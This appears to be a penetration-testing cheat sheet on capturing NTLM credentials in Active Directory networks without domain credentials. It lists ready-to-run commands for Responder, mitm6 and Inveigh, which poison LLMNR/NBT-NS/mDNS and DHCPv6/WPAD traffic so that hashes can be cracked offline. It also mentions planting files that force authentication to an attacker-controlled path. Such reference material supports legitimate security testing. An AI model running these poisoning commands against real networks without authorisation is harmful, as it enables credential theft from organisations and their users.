This is credential capture, not enumeration, that’s why it’s split out from AD Enumeration (Unauthenticated) even though it needs no domain creds either.
Poisoning
| Command | Description |
|---|---|
sudo responder -I eth0 | The standard Linux tool, answers LLMNR/NBT-NS/mDNS queries and captures the resulting NTLM hashes to crack offline. |
sudo mitm6 -d <domain> | Same idea over IPv6: answers DHCPv6 queries to become the victim’s IPv6 DNS server, then abuses WPAD to capture NTLM hashes. Effective even on networks that have LLMNR/NBT-NS disabled, since IPv6 is enabled by default. |
Import-Module .\Inveigh.ps1Invoke-Inveigh Y -NBNS Y -ConsoleOutput Y -FileOutput Y | Inveigh: the Responder equivalent for when the attack needs to run from a Windows host instead of Linux. |
.\Inveigh.exe | Compiled C# version of the same tool, useful when PowerShell execution is restricted. |
Forcing Authentication
Rather than waiting for a broadcast to poison, a planted file can directly trick anyone browsing a share into authenticating to an attacker controlled UNC path, full breakdown (SCF, LNK, URL, library/search-connector files) on Malicious Files for NTLM Capture.Quick Reference Tools
Responder
The primary LLMNR/NBT-NS/mDNS poisoning tool, used above.
mitm6
IPv6-based alternative, effective even when LLMNR/NBT-NS is disabled.
Inveigh
Windows-native equivalent of Responder.

